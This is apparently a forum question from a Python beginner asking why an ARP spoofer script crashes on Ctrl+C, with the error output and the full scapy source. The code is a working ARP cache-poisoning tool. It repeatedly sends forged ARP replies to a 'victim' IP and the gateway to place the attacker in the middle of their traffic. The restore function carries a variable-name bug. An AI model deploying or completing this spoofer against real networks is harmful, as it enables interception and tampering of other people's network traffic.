I am creating an arp_spoofer ; It's almost finished, I just need to solve the error it's giving me (I'm new to python, I use python and visual studio code):
1Ingrese el ip de la victima:192.168.226.30
ingrese el gateway: 192.168.226.148
[+] Packets sent: 6^C
[+] Dectectado CTRL + C ...limpiando tablas ARP ... Cerrando ARP Spoofer
Traceback (most recent call last):
File "/home/kali/Documents/arp_spoofer.py", line 37, in <module>
time.sleep(2)
KeyboardInterrupt
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/kali/Documents/arp_spoofer.py", line 40, in <module>
restore (target_ip, gateway_ip)
File "/home/kali/Documents/arp_spoofer.py", line 21, in restore
destination_mac = get_mac(destination_mac)
UnboundLocalError: local variable 'destination_mac' referenced before assignment
Here I leave my code:
from tabnanny import verbose
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose = False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_mac)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
target_ip = input("Ingrese el ip de la victima: ")
gateway_ip = input("ingrese el gateway: ")
sent_packet_count = 0
try:
while True:
spoof(target_ip,gateway_ip)
spoof(gateway_ip,target_ip)
sent_packet_count = sent_packet_count + 2
print("\r[+] Packets sent: " + str(sent_packet_count), end = "")
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Dectectado CTRL + C ...limpiando tablas ARP ... Cerrando ARP Spoofer")
restore (target_ip, gateway_ip)
restore(gateway_ip, target_ip)